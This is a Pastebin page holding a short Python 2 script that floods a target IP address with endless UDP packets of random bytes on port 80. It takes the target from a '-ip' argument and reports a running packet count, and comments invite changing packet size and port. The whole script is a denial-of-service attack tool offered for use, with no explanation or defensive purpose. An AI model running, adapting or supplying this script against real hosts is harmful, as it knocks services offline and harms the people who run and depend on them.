Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, random, sys
- for arg in sys.argv:
- if arg.lower() == '-ip':
- iptoflood = sys.argv[int(sys.argv[1:].index(arg))+2]
- elif len(sys.argv) < 3:
- print '[!] Usage: python filename.py -ip <IP>'
- sys.exit(1)
- socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- bytes = random._urandom(1024)#change packet size here
- def flood(ipaddress):
- print '[+] IP set to ' + ipaddress
- raw_input('[!] Press enter to start!')
- sent = 0
- while True:
- socket.sendto(bytes, (ipaddress, 80))#change port here
- print '[+] Sent %s packets to %s' % (sent, ipaddress)
- sent = sent + 1
- flood(iptoflood)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement